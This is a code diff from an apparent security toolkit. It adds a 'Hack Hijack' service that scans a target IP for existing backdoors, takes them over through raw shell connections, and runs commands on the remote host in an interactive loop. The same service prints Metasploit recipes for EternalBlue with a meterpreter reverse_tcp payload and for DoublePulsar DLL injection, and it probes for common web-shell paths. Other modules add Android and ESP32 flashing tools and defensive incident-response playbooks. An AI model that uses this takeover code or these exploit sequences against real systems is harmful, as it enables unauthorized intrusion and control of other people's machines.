+ 'ok': True,
+ 'output': output.decode('utf-8', errors='replace'),
+ }
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def close_session(self, session_id: str) -> dict:
+ """Close an active session."""
+ session = self._active_sessions.pop(session_id, None)
+ if not session:
+ return {'ok': False, 'error': 'Session not found'}
+ sock = session.get('socket')
+ if sock:
+ try:
+ sock.close()
+ except Exception:
+ pass
+ return {'ok': True, 'message': 'Session closed'}
+
+ def list_sessions(self) -> List[dict]:
+ """List active takeover sessions."""
+ return [
+ {
+ 'session_id': sid,
+ 'type': s['type'],
+ 'host': s['host'],
+ 'port': s['port'],
+ 'connected_at': s['connected_at'],
+ }
+ for sid, s in self._active_sessions.items()
+ ]
+
+ def attempt_takeover(self, host: str, backdoor: dict) -> dict:
+ """Attempt to take over a detected backdoor.
+
+ Routes to the appropriate takeover method based on the signature.
+ """
+ method = backdoor.get('takeover_method', '')
+ port = backdoor.get('port', 0)
+
+ if method == 'raw_shell':
+ return self.connect_raw_shell(host, port)
+
+ if method == 'meterpreter_connect':
+ return self._takeover_via_msf(host, port, 'meterpreter')
+
+ if method == 'meterpreter_session':
+ return self._takeover_via_msf(host, port, 'meterpreter')
+
+ if method == 'doublepulsar_inject':
+ return self._takeover_doublepulsar(host)
+
+ if method == 'ssh_connect':
+ return {'ok': False,
+ 'message': f'SSH detected on {host}:{port}. '
+ 'Use Offense → Reverse Shell for SSH access, '
+ 'or try default credentials.'}
+
+ if method == 'webshell_detect':
+ return self._detect_webshell(host, port)
+
+ if method == 'socks_connect':
+ return {'ok': True,
+ 'message': f'SOCKS proxy at {host}:{port}. '
+ f'Configure proxychains: socks5 {host} {port}'}
+
+ if method == 'http_proxy_use':
+ return {'ok': True,
+ 'message': f'HTTP proxy at {host}:{port}. '
+ f'export http_proxy=http://{host}:{port}'}
+
+ if method == 'generic_connect':
+ return self.connect_raw_shell(host, port)
+
+ return {'ok': False, 'error': f'No takeover handler for method: {method}'}
+
+ def _takeover_via_msf(self, host: str, port: int, payload_type: str) -> dict:
+ """Attempt takeover using Metasploit if available."""
+ try:
+ from core.msf_interface import get_msf_interface
+ msf = get_msf_interface()
+ if not msf.is_connected:
+ return {'ok': False,
+ 'error': 'Metasploit not connected. Connect via Offense page first.'}
+ # Use multi/handler to connect to bind shell
+ return {
+ 'ok': True,
+ 'message': f'Metasploit available. Create handler: '
+ f'use exploit/multi/handler; '
+ f'set PAYLOAD windows/meterpreter/bind_tcp; '
+ f'set RHOST {host}; set LPORT {port}; exploit',
+ 'msf_command': f'use exploit/multi/handler\n'
+ f'set PAYLOAD windows/meterpreter/bind_tcp\n'
+ f'set RHOST {host}\nset LPORT {port}\nexploit',
+ }
+ except ImportError:
+ return {'ok': False, 'error': 'Metasploit module not available'}
+
+ def _takeover_doublepulsar(self, host: str) -> dict:
+ """Provide DoublePulsar exploitation guidance."""
+ return {
+ 'ok': True,
+ 'message': f'DoublePulsar detected on {host}:445. Use Metasploit:\n'
+ f' use exploit/windows/smb/ms17_010_eternalblue\n'
+ f' set RHOSTS {host}\n'
+ f' set PAYLOAD windows/x64/meterpreter/reverse_tcp\n'
+ f' set LHOST \n'
+ f' exploit\n\n'
+ f'Or inject DLL via existing DoublePulsar implant:\n'
+ f' use exploit/windows/smb/ms17_010_psexec\n'
+ f' set RHOSTS {host}\n'
+ f' exploit',
+ 'msf_command': f'use exploit/windows/smb/ms17_010_eternalblue\n'
+ f'set RHOSTS {host}\n'
+ f'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n'
+ f'exploit',
+ }
+
+ def _detect_webshell(self, host: str, port: int) -> dict:
+ """Probe HTTP service for common web shells."""
+ shells_found = []
+ common_paths = [
+ '/cmd.php', '/shell.php', '/c99.php', '/r57.php',
+ '/webshell.php', '/backdoor.php', '/upload.php',
+ '/cmd.asp', '/shell.asp', '/cmd.aspx', '/shell.aspx',
+ '/cmd.jsp', '/shell.jsp',
+ '/.hidden/shell.php', '/images/shell.php',
+ '/uploads/shell.php', '/tmp/shell.php',
+ '/wp-content/uploads/shell.php',
+ '/wp-includes/shell.php',
+ ]
+ try:
+ import requests as req
+ for path in common_paths:
+ try:
+ r = req.get(f'http://{host}:{port}{path}', timeout=3,
+ allow_redirects=False)
+ if r.status_code == 200 and len(r.text) > 0:
+ # Check if it looks like a shell
+ text = r.text.lower()
+ indicators = ['execute', 'command', 'shell', 'system(',
+ 'passthru', 'exec(', 'cmd', 'uname',
+ 'phpinfo', 'eval(']
+ if any(ind in text for ind in indicators):
+ shells_found.append({
+ 'path': path,
+ 'size': len(r.text),
+ 'status': r.status_code,
+ })
+ except Exception:
+ continue
+ except ImportError:
+ return {'ok': False, 'error': 'requests library not available for web shell detection'}
+
+ if shells_found:
+ return {
+ 'ok': True,
+ 'message': f'Found {len(shells_found)} web shell(s) on {host}:{port}',
+ 'shells': shells_found,
+ }
+ return {
+ 'ok': True,
+ 'message': f'No common web shells found on {host}:{port}',
+ 'shells': [],
+ }
+
+ # ── History ───────────────────────────────────────────────────────────
+
+ def get_scan_history(self) -> List[dict]:
+ return list(reversed(self._scans))
+
+ def clear_history(self) -> dict:
+ self._scans.clear()
+ self._save_scans()
+ return {'ok': True, 'message': 'Scan history cleared'}
+
+
+# ── Singleton ─────────────────────────────────────────────────────────────────
+
+_instance = None
+_lock = threading.Lock()
+
+
+def get_hack_hijack() -> HackHijackService:
+ global _instance
+ if _instance is None:
+ with _lock:
+ if _instance is None:
+ _instance = HackHijackService()
+ return _instance
+
+
+# ── CLI ───────────────────────────────────────────────────────────────────────
+
+def run():
+ """Interactive CLI for Hack Hijack."""
+ svc = get_hack_hijack()
+
+ while True:
+ print("\n╔═══════════════════════════════════════╗")
+ print("║ HACK HIJACK — Takeover ║")
+ print("╠═══════════════════════════════════════╣")
+ print("║ 1 — Quick Scan (backdoor ports) ║")
+ print("║ 2 — Full Scan (all suspicious) ║")
+ print("║ 3 — Nmap Deep Scan ║")
+ print("║ 4 — View Scan History ║")
+ print("║ 5 — Active Sessions ║")
+ print("║ 0 — Back ║")
+ print("╚═══════════════════════════════════════╝")
+
+ choice = input("\n Select: ").strip()
+
+ if choice == '0':
+ break
+ elif choice in ('1', '2', '3'):
+ target = input(" Target IP: ").strip()
+ if not target:
+ continue
+ scan_type = {'1': 'quick', '2': 'full', '3': 'nmap'}[choice]
+ print(f"\n Scanning {target} ({scan_type})...")
+
+ def progress(current, total):
+ print(f" [{current}/{total}] ports scanned", end='\r')
+
+ result = svc.scan_target(target, scan_type=scan_type,
+ progress_cb=progress)
+ print(f"\n Scan complete in {result.duration:.1f}s")
+ print(f" Open ports: {len(result.open_ports)}")
+
+ if result.open_ports:
+ print("\n PORT STATE SERVICE BANNER")
+ print(" " + "-" * 60)
+ for p in result.open_ports:
+ banner = p.banner[:40] if p.banner else ''
+ print(f" {p.port:<9} {p.state:<7} {p.service:<10} {banner}")
+
+ if result.backdoors:
+ print(f"\n BACKDOOR INDICATORS ({len(result.backdoors)}):")
+ print(" " + "-" * 60)
+ for i, bd in enumerate(result.backdoors, 1):
+ color = {'high': '\033[91m', 'medium': '\033[93m',
+ 'low': '\033[90m'}.get(bd.confidence, '')
+ reset = '\033[0m'
+ print(f" {i}. {color}[{bd.confidence.upper()}]{reset} "
+ f"{bd.signature} (port {bd.port})")
+ if bd.details:
+ print(f" {bd.details}")
+
+ # Offer takeover
+ try:
+ sel = input("\n Attempt takeover? Enter # (0=skip): ").strip()
+ if sel and sel != '0':
+ idx = int(sel) - 1
+ if 0 <= idx < len(result.backdoors):
+ bd = result.backdoors[idx]
+ bd_dict = {
+ 'port': bd.port,
+ 'takeover_method': bd.takeover_method,
+ }
+ r = svc.attempt_takeover(target, bd_dict)
+ if r.get('ok'):
+ print(f"\n {r.get('message', 'Success')}")
+ if r.get('session_id'):
+ print(f" Session: {r['session_id']}")
+ # Interactive shell
+ while True:
+ cmd = input(f" [{target}]$ ").strip()
+ if cmd in ('exit', 'quit', ''):
+ svc.close_session(r['session_id'])
+ break
+ out = svc.shell_execute(r['session_id'], cmd)
+ if out.get('ok'):
+ print(out.get('output', ''))
+ else:
+ print(f" Error: {out.get('error')}")
+ else:
+ print(f"\n Failed: {r.get('error', 'Unknown error')}")
+ except (ValueError, IndexError):
+ pass
+
+ if result.smb_info.get('vulnerable'):
+ print("\n [!] SMB MS17-010 (EternalBlue) VULNERABLE")
+ print(f" OS: {result.smb_info.get('os', 'unknown')}")
+ print(f" Signing: {result.smb_info.get('signing', 'unknown')}")
+
+ if result.os_guess:
+ print(f"\n OS Guess: {result.os_guess}")
+
+ elif choice == '4':
+ history = svc.get_scan_history()
+ if not history:
+ print("\n No scan history.")
+ continue
+ print(f"\n Scan History ({len(history)} scans):")
+ for i, scan in enumerate(history[:20], 1):
+ bds = len(scan.get('backdoors', []))
+ high = sum(1 for b in scan.get('backdoors', [])
+ if b.get('confidence') == 'high')
+ print(f" {i}. {scan['target']} — "
+ f"{len(scan.get('open_ports', []))} open, "
+ f"{bds} indicators ({high} high) — "
+ f"{scan['scan_time'][:19]}")
+
+ elif choice == '5':
+ sessions = svc.list_sessions()
+ if not sessions:
+ print("\n No active sessions.")
+ continue
+ print(f"\n Active Sessions ({len(sessions)}):")
+ for s in sessions:
+ print(f" {s['session_id']} — {s['type']} → "
+ f"{s['host']}:{s['port']} "
+ f"(since {s['connected_at'][:19]})")
diff --git a/modules/hardware_local.py b/modules/hardware_local.py
new file mode 100644
index 0000000..c5fc5df
--- /dev/null
+++ b/modules/hardware_local.py
@@ -0,0 +1,262 @@
+"""
+Hardware Local - Physical device access (ADB/Fastboot/Serial)
+Direct access to USB-connected devices on this machine.
+"""
+
+DESCRIPTION = "Physical device access (ADB/Fastboot/Serial)"
+AUTHOR = "AUTARCH"
+VERSION = "1.0"
+CATEGORY = "hardware"
+
+
+class HardwareLocal:
+ """Interactive hardware access menu."""
+
+ def __init__(self):
+ from core.hardware import get_hardware_manager
+ self.mgr = get_hardware_manager()
+
+ def show_menu(self):
+ status = self.mgr.get_status()
+ print(f"\n{'='*50}")
+ print(" Hardware Access (Local)")
+ print(f"{'='*50}")
+ print(f" ADB: {'Available' if status['adb'] else 'Not found'}")
+ print(f" Fastboot: {'Available' if status['fastboot'] else 'Not found'}")
+ print(f" Serial: {'Available' if status['serial'] else 'Not installed'}")
+ print(f" ESPTool: {'Available' if status['esptool'] else 'Not installed'}")
+ print()
+ print(" 1) List ADB Devices")
+ print(" 2) ADB Device Info")
+ print(" 3) ADB Shell")
+ print(" 4) ADB Sideload/Install")
+ print(" 5) List Fastboot Devices")
+ print(" 6) Fastboot Device Info")
+ print(" 7) Fastboot Flash Partition")
+ print(" 8) List Serial Ports")
+ print(" 9) Detect ESP Chip")
+ print(" 10) Flash ESP32 Firmware")
+ print(" 0) Back")
+ print()
+
+ def _pick_device(self, devices, label="device"):
+ if not devices:
+ print(f" No {label}s found.")
+ return None
+ if len(devices) == 1:
+ return devices[0]['serial']
+ print(f"\n Select {label}:")
+ for i, d in enumerate(devices, 1):
+ extra = d.get('model', '') or d.get('state', '')
+ print(f" {i}) {d['serial']} {extra}")
+ try:
+ choice = int(input(" > ").strip())
+ if 1 <= choice <= len(devices):
+ return devices[choice - 1]['serial']
+ except (ValueError, EOFError):
+ pass
+ return None
+
+ def list_adb_devices(self):
+ devices = self.mgr.adb_devices()
+ if not devices:
+ print(" No ADB devices connected.")
+ return
+ print(f"\n {'Serial':<20} {'State':<12} {'Model':<15} {'Product'}")
+ print(f" {'-'*60}")
+ for d in devices:
+ print(f" {d['serial']:<20} {d['state']:<12} {d.get('model',''):<15} {d.get('product','')}")
+
+ def adb_device_info(self):
+ devices = self.mgr.adb_devices()
+ serial = self._pick_device(devices, "ADB device")
+ if not serial:
+ return
+ info = self.mgr.adb_device_info(serial)
+ print(f"\n Device Info: {serial}")
+ print(f" {'-'*40}")
+ for k, v in info.items():
+ print(f" {k:<20} {v}")
+
+ def adb_shell(self):
+ devices = self.mgr.adb_devices()
+ serial = self._pick_device(devices, "ADB device")
+ if not serial:
+ return
+ print(f" ADB Shell ({serial}) - type 'exit' to quit")
+ while True:
+ try:
+ cmd = input(f" {serial}$ ").strip()
+ except (EOFError, KeyboardInterrupt):
+ break
+ if cmd.lower() in ('exit', 'quit', ''):
+ break
+ result = self.mgr.adb_shell(serial, cmd)
+ if result['output']:
+ print(result['output'])
+
+ def adb_sideload(self):
+ devices = self.mgr.adb_devices()
+ serial = self._pick_device(devices, "ADB device")
+ if not serial:
+ return
+ try:
+ filepath = input(" File path: ").strip()
+ except (EOFError, KeyboardInterrupt):
+ return
+ if not filepath:
+ return
+ result = self.mgr.adb_sideload(serial, filepath)
+ if result.get('success'):
+ print(f" Sideload started (op: {result['op_id']})")
+ # Poll progress
+ import time
+ while True:
+ time.sleep(1)
+ prog = self.mgr.get_operation_progress(result['op_id'])
+ print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r')
+ if prog.get('status') in ('done', 'error'):
+ print()
+ break
+ else:
+ print(f" Error: {result.get('error', 'Unknown error')}")
+
+ def list_fastboot_devices(self):
+ devices = self.mgr.fastboot_devices()
+ if not devices:
+ print(" No Fastboot devices connected.")
+ return
+ print(f"\n {'Serial':<25} {'State'}")
+ print(f" {'-'*35}")
+ for d in devices:
+ print(f" {d['serial']:<25} {d['state']}")
+
+ def fastboot_device_info(self):
+ devices = self.mgr.fastboot_devices()
+ serial = self._pick_device(devices, "Fastboot device")
+ if not serial:
+ return
+ info = self.mgr.fastboot_device_info(serial)
+ print(f"\n Fastboot Info: {serial}")
+ print(f" {'-'*40}")
+ for k, v in info.items():
+ print(f" {k:<20} {v}")
+
+ def fastboot_flash(self):
+ devices = self.mgr.fastboot_devices()
+ serial = self._pick_device(devices, "Fastboot device")
+ if not serial:
+ return
+ try:
+ partition = input(" Partition (boot/recovery/system/vendor): ").strip()
+ filepath = input(" Firmware path: ").strip()
+ except (EOFError, KeyboardInterrupt):
+ return
+ if not partition or not filepath:
+ return
+ result = self.mgr.fastboot_flash(serial, partition, filepath)
+ if result.get('success'):
+ print(f" Flash started (op: {result['op_id']})")
+ import time
+ while True:
+ time.sleep(1)
+ prog = self.mgr.get_operation_progress(result['op_id'])
+ print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r')
+ if prog.get('status') in ('done', 'error'):
+ print()
+ break
+ else:
+ print(f" Error: {result.get('error', 'Unknown error')}")
+
+ def list_serial_ports(self):
+ ports = self.mgr.list_serial_ports()
+ if not ports:
+ print(" No serial ports found.")
+ return
+ print(f"\n {'Port':<20} {'Description':<30} {'VID:PID'}")
+ print(f" {'-'*60}")
+ for p in ports:
+ vid_pid = f"{p['vid']}:{p['pid']}" if p['vid'] else ''
+ print(f" {p['port']:<20} {p['desc']:<30} {vid_pid}")
+
+ def detect_esp(self):
+ ports = self.mgr.list_serial_ports()
+ if not ports:
+ print(" No serial ports found.")
+ return
+ print(" Select port:")
+ for i, p in enumerate(ports, 1):
+ print(f" {i}) {p['port']} - {p['desc']}")
+ try:
+ choice = int(input(" > ").strip())
+ port = ports[choice - 1]['port']
+ except (ValueError, IndexError, EOFError):
+ return
+ result = self.mgr.detect_esp_chip(port)
+ if result.get('success'):
+ print(f" Chip: {result['chip']}")
+ print(f" ID: {result.get('chip_id', 'N/A')}")
+ else:
+ print(f" Error: {result.get('error', 'Detection failed')}")
+
+ def flash_esp(self):
+ ports = self.mgr.list_serial_ports()
+ if not ports:
+ print(" No serial ports found.")
+ return
+ print(" Select port:")
+ for i, p in enumerate(ports, 1):
+ print(f" {i}) {p['port']} - {p['desc']}")
+ try:
+ choice = int(input(" > ").strip())
+ port = ports[choice - 1]['port']
+ firmware = input(" Firmware path: ").strip()
+ except (ValueError, IndexError, EOFError):
+ return
+ if not firmware:
+ return
+ result = self.mgr.flash_esp(port, firmware)
+ if result.get('success'):
+ print(f" Flash started (op: {result['op_id']})")
+ import time
+ while True:
+ time.sleep(1)
+ prog = self.mgr.get_operation_progress(result['op_id'])
+ print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r')
+ if prog.get('status') in ('done', 'error'):
+ print()
+ break
+ else:
+ print(f" Error: {result.get('error', 'Flash failed')}")
+
+ def run_interactive(self):
+ while True:
+ self.show_menu()
+ try:
+ choice = input(" Select > ").strip()
+ except (EOFError, KeyboardInterrupt):
+ break
+ if choice == '0':
+ break
+ actions = {
+ '1': self.list_adb_devices,
+ '2': self.adb_device_info,
+ '3': self.adb_shell,
+ '4': self.adb_sideload,
+ '5': self.list_fastboot_devices,
+ '6': self.fastboot_device_info,
+ '7': self.fastboot_flash,
+ '8': self.list_serial_ports,
+ '9': self.detect_esp,
+ '10': self.flash_esp,
+ }
+ action = actions.get(choice)
+ if action:
+ action()
+ else:
+ print(" Invalid choice.")
+
+
+def run():
+ hw = HardwareLocal()
+ hw.run_interactive()
diff --git a/modules/hardware_remote.py b/modules/hardware_remote.py
new file mode 100644
index 0000000..ee4b937
--- /dev/null
+++ b/modules/hardware_remote.py
@@ -0,0 +1,25 @@
+"""
+Hardware Remote - Remote physical device access via web UI
+Devices connected to the AUTARCH server are accessible through the web browser.
+"""
+
+DESCRIPTION = "Remote physical device access (via web UI)"
+AUTHOR = "AUTARCH"
+VERSION = "1.0"
+CATEGORY = "hardware"
+
+
+def run():
+ print("\n Hardware Remote Access")
+ print(" " + "=" * 40)
+ print(" Remote hardware access is available through the web UI.")
+ print(" Devices plugged into this server (USB/Serial) can be")
+ print(" managed remotely via your browser.")
+ print()
+ print(" Start the web server with: python3 autarch.py --web")
+ print(" Then navigate to: http://:5000/hardware")
+ print()
+ print(" Supported devices:")
+ print(" - Android (ADB/Fastboot)")
+ print(" - ESP32 (Serial flash/monitor)")
+ print()
diff --git a/modules/incident_resp.py b/modules/incident_resp.py
new file mode 100644
index 0000000..613e624
--- /dev/null
+++ b/modules/incident_resp.py
@@ -0,0 +1,1555 @@
+"""AUTARCH Incident Response
+
+IR playbook runner, evidence collection, IOC sweeping, timeline building,
+containment actions, and post-incident reporting for security operations.
+"""
+
+import os
+import sys
+import json
+import time
+import platform
+import subprocess
+import re
+import hashlib
+import shutil
+from pathlib import Path
+from datetime import datetime, timezone
+from collections import defaultdict
+
+# Module metadata
+DESCRIPTION = "Incident response — playbooks, evidence & containment"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "defense"
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+try:
+ from core.banner import Colors, clear_screen, display_banner
+except ImportError:
+ class Colors:
+ RED = YELLOW = GREEN = CYAN = BLUE = MAGENTA = WHITE = DIM = BOLD = RESET = ''
+ def clear_screen(): pass
+ def display_banner(): pass
+
+_is_win = platform.system() == 'Windows'
+
+# ── Valid enumerations ──────────────────────────────────────────────
+
+INCIDENT_TYPES = [
+ 'ransomware', 'data_breach', 'insider_threat', 'ddos',
+ 'account_compromise', 'malware', 'phishing', 'unauthorized_access',
+]
+
+SEVERITY_LEVELS = ['critical', 'high', 'medium', 'low']
+
+STATUS_VALUES = ['open', 'investigating', 'contained', 'resolved', 'closed']
+
+EVIDENCE_TYPES = [
+ 'system_logs', 'process_list', 'network_connections', 'running_services',
+ 'user_accounts', 'scheduled_tasks', 'recent_files', 'memory_info',
+ 'disk_info', 'installed_software',
+]
+
+
+# ── Playbooks ───────────────────────────────────────────────────────
+
+IR_PLAYBOOKS = {
+ 'ransomware': {
+ 'name': 'Ransomware Response',
+ 'steps': [
+ {
+ 'title': 'Isolate Affected Systems',
+ 'description': 'Immediately disconnect infected hosts from the network to prevent lateral movement and further encryption. Disable WiFi adapters and unplug Ethernet cables. Add firewall rules to block the host if remote.',
+ 'check_items': ['Disconnect from network', 'Disable WiFi adapters', 'Block at firewall', 'Disable shared drives/NFS mounts'],
+ 'automated': True,
+ 'commands': ['netsh interface set interface "Wi-Fi" disable' if _is_win else 'nmcli radio wifi off',
+ 'netsh advfirewall set allprofiles state on' if _is_win else 'iptables -P INPUT DROP && iptables -P OUTPUT DROP && iptables -P FORWARD DROP'],
+ },
+ {
+ 'title': 'Preserve Evidence',
+ 'description': 'Capture volatile evidence before any remediation. Collect running processes, network connections, memory state, and ransom notes. Photograph any ransom screens.',
+ 'check_items': ['Capture process list', 'Capture network connections', 'Save ransom note text', 'Screenshot ransom screen', 'Record system time and timezone'],
+ 'automated': True,
+ 'commands': ['tasklist /v' if _is_win else 'ps auxf',
+ 'netstat -anob' if _is_win else 'ss -tulnp'],
+ },
+ {
+ 'title': 'Identify Ransomware Variant',
+ 'description': 'Determine the ransomware family by examining the ransom note, encrypted file extensions, and behavior. Check ID Ransomware (id-ransomware.malwarehunterteam.com) and No More Ransom (nomoreransom.org) for known decryptors.',
+ 'check_items': ['Note encrypted file extension', 'Identify ransom note filename', 'Check ID Ransomware', 'Check No More Ransom project', 'Search threat intelligence feeds'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Assess Scope of Impact',
+ 'description': 'Determine which systems, shares, and data have been affected. Check backup integrity. Identify the initial infection vector (email attachment, RDP, exploit kit).',
+ 'check_items': ['Enumerate affected hosts', 'Check shared drive encryption status', 'Verify backup integrity', 'Identify infection vector', 'Determine data classification of affected files'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Eradicate Ransomware',
+ 'description': 'Remove the ransomware binary, persistence mechanisms, and any related malware. Scan all systems with updated AV signatures. Check scheduled tasks, startup items, and registry run keys.',
+ 'check_items': ['Identify and remove ransomware executable', 'Clear persistence mechanisms', 'Scan with updated AV signatures', 'Check scheduled tasks', 'Check registry run keys (Windows)', 'Check crontabs (Linux)'],
+ 'automated': True,
+ 'commands': ['schtasks /query /fo LIST /v' if _is_win else 'crontab -l 2>/dev/null; ls -la /etc/cron.*/ 2>/dev/null'],
+ },
+ {
+ 'title': 'Restore and Recover',
+ 'description': 'Restore affected systems from clean backups. Rebuild compromised systems if needed. Verify restored data integrity and gradually reconnect to the network.',
+ 'check_items': ['Restore from verified clean backup', 'Rebuild if no clean backup available', 'Verify data integrity post-restore', 'Patch vulnerability used for initial access', 'Reconnect to network gradually'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Post-Incident Review',
+ 'description': 'Conduct lessons learned meeting. Update IR playbook. Improve detection and prevention controls. Document full timeline for legal/compliance.',
+ 'check_items': ['Schedule lessons learned meeting', 'Update detection rules', 'Improve email filtering', 'Review backup strategy', 'Document full incident timeline', 'File regulatory notifications if required'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'data_breach': {
+ 'name': 'Data Breach Response',
+ 'steps': [
+ {
+ 'title': 'Confirm and Scope the Breach',
+ 'description': 'Verify that a data breach has occurred. Determine what data was accessed or exfiltrated, which systems were involved, and the approximate timeframe.',
+ 'check_items': ['Verify breach indicators', 'Identify affected systems', 'Determine data types exposed', 'Establish breach timeframe', 'Check access logs for unauthorized activity'],
+ 'automated': True,
+ 'commands': ['wevtutil qe Security /c:50 /f:text /rd:true' if _is_win else 'grep -i "authentication failure\\|invalid user\\|unauthorized" /var/log/auth.log 2>/dev/null | tail -50'],
+ },
+ {
+ 'title': 'Contain the Breach',
+ 'description': 'Stop ongoing data exfiltration. Revoke compromised credentials, block attacker IPs, disable compromised accounts, and segment affected network areas.',
+ 'check_items': ['Block attacker IP addresses', 'Revoke compromised API keys/tokens', 'Disable compromised user accounts', 'Segment affected network zones', 'Enable enhanced logging'],
+ 'automated': True,
+ 'commands': ['netstat -anob' if _is_win else 'ss -tulnp',
+ 'net user' if _is_win else 'cat /etc/passwd | grep -v nologin | grep -v false'],
+ },
+ {
+ 'title': 'Preserve Evidence',
+ 'description': 'Secure all evidence for potential legal proceedings. Create forensic images, preserve logs, and maintain chain of custody documentation.',
+ 'check_items': ['Create forensic disk images', 'Preserve all relevant logs', 'Document chain of custody', 'Capture network traffic logs', 'Save database query logs'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Assess Data Impact',
+ 'description': 'Classify the types and volume of data compromised. Determine if PII, PHI, financial data, or trade secrets were involved. Assess regulatory implications.',
+ 'check_items': ['Classify data types affected', 'Estimate number of records', 'Determine if PII/PHI involved', 'Check for financial data exposure', 'Identify regulatory frameworks triggered'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Notify Stakeholders',
+ 'description': 'Notify required parties according to regulatory requirements and company policy. This may include legal, management, affected individuals, and regulators.',
+ 'check_items': ['Notify legal counsel', 'Notify executive management', 'Prepare notification to affected individuals', 'File regulatory notifications (GDPR 72hr, HIPAA 60 days)', 'Notify law enforcement if appropriate', 'Prepare public statement if needed'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Remediate and Harden',
+ 'description': 'Fix the vulnerability or weakness that allowed the breach. Implement additional security controls and monitoring.',
+ 'check_items': ['Patch exploited vulnerability', 'Implement additional access controls', 'Enable MFA on affected systems', 'Deploy DLP controls', 'Enhance monitoring and alerting'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Post-Incident Review',
+ 'description': 'Document full incident timeline, root cause analysis, and lessons learned. Update policies, procedures, and detection rules.',
+ 'check_items': ['Complete incident report', 'Conduct root cause analysis', 'Update incident response plan', 'Implement improved controls', 'Schedule follow-up review'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'insider_threat': {
+ 'name': 'Insider Threat Response',
+ 'steps': [
+ {
+ 'title': 'Identify and Verify Threat',
+ 'description': 'Confirm the insider threat indicators. Determine if activity is malicious or accidental. Review user activity logs, access patterns, and data movement.',
+ 'check_items': ['Review user access logs', 'Check data transfer volumes', 'Verify anomalous login patterns', 'Review email/messaging for exfiltration', 'Confirm with HR if termination-related'],
+ 'automated': True,
+ 'commands': ['wevtutil qe Security /c:100 /f:text /rd:true /q:"*[System[(EventID=4624 or EventID=4625)]]"' if _is_win else 'last -20 2>/dev/null; lastlog 2>/dev/null | head -20'],
+ },
+ {
+ 'title': 'Monitor Covertly',
+ 'description': 'If investigation is underway, continue monitoring the insider without alerting them. Coordinate with legal and HR before taking action.',
+ 'check_items': ['Enable enhanced audit logging', 'Monitor file access patterns', 'Track network activity from user workstation', 'Coordinate with HR and legal', 'Document all observations'],
+ 'automated': True,
+ 'commands': ['auditpol /get /category:*' if _is_win else 'auditctl -l 2>/dev/null'],
+ },
+ {
+ 'title': 'Contain the Threat',
+ 'description': 'When ready to act, disable the user account, revoke all access, and secure their workstation. Preserve all evidence before wiping anything.',
+ 'check_items': ['Disable user account', 'Revoke VPN/remote access', 'Revoke cloud service access', 'Secure physical workstation', 'Collect badges and keys', 'Disable email forwarding rules'],
+ 'automated': True,
+ 'commands': ['net user {username} /active:no' if _is_win else 'usermod -L {username} 2>/dev/null'],
+ },
+ {
+ 'title': 'Forensic Investigation',
+ 'description': 'Conduct thorough forensic analysis of the insider\'s workstation, email, cloud storage, and all systems they had access to.',
+ 'check_items': ['Image workstation hard drive', 'Review email sent items and drafts', 'Check USB device history', 'Review cloud storage activity', 'Check print logs', 'Review source code repository commits'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Assess Damage',
+ 'description': 'Determine what data was accessed, copied, or destroyed. Assess intellectual property theft, competitive harm, and regulatory impact.',
+ 'check_items': ['Inventory accessed files', 'Determine data classification', 'Assess competitive damage', 'Check for data destruction', 'Review customer data exposure'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Recovery and Remediation',
+ 'description': 'Rotate credentials, revoke remaining access, and implement controls to prevent similar incidents.',
+ 'check_items': ['Rotate shared credentials', 'Review access control lists', 'Implement separation of duties', 'Update DLP policies', 'Enhance user behavior analytics'],
+ 'automated': False,
+ 'commands': [],
+ },
+ ],
+ },
+ 'ddos': {
+ 'name': 'DDoS Response',
+ 'steps': [
+ {
+ 'title': 'Detect and Classify Attack',
+ 'description': 'Identify the type of DDoS attack (volumetric, protocol, application layer). Determine attack vector, source IPs, and traffic patterns.',
+ 'check_items': ['Identify attack type', 'Measure attack bandwidth', 'Identify source IP ranges', 'Determine targeted services', 'Check if amplification/reflection attack'],
+ 'automated': True,
+ 'commands': ['netstat -an | find /c "ESTABLISHED"' if _is_win else 'ss -s; netstat -an 2>/dev/null | awk \'{print $5}\' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20'],
+ },
+ {
+ 'title': 'Activate Upstream Mitigation',
+ 'description': 'Contact ISP and activate DDoS mitigation services. Enable CDN/WAF protections. Activate cloud-based scrubbing if available.',
+ 'check_items': ['Contact ISP for upstream filtering', 'Activate CDN DDoS protection', 'Enable WAF rate limiting', 'Activate cloud scrubbing service', 'Implement geo-blocking if appropriate'],
+ 'automated': False,
+ 'commands': [],
+ },
+ {
+ 'title': 'Apply Local Mitigations',
+ 'description': 'Implement local firewall rules to drop attack traffic. Enable SYN cookies, rate limiting, and connection limits. Block identified source IPs.',
+ 'check_items': ['Enable SYN flood protection', 'Apply rate limiting rules', 'Block top attacking IPs', 'Increase connection table size', 'Drop malformed packets'],
+ 'automated': True,
+ 'commands': ['netsh advfirewall firewall add rule name="DDoS-RateLimit" dir=in action=block enable=yes' if _is_win else 'sysctl -w net.ipv4.tcp_syncookies=1; sysctl -w net.ipv4.tcp_max_syn_backlog=2048'],
+ },
+ {
+ 'title': 'Monitor and Adapt',
+ 'description': 'Continuously monitor attack patterns. Attackers often shift vectors when initial attack is mitigated. Update filtering rules as patterns change.',
+ 'check_items': ['Monitor bandwidth utilization', 'Track connection states', 'Watch for attack vector changes', 'Update filtering rules', 'Monitor service availability'],
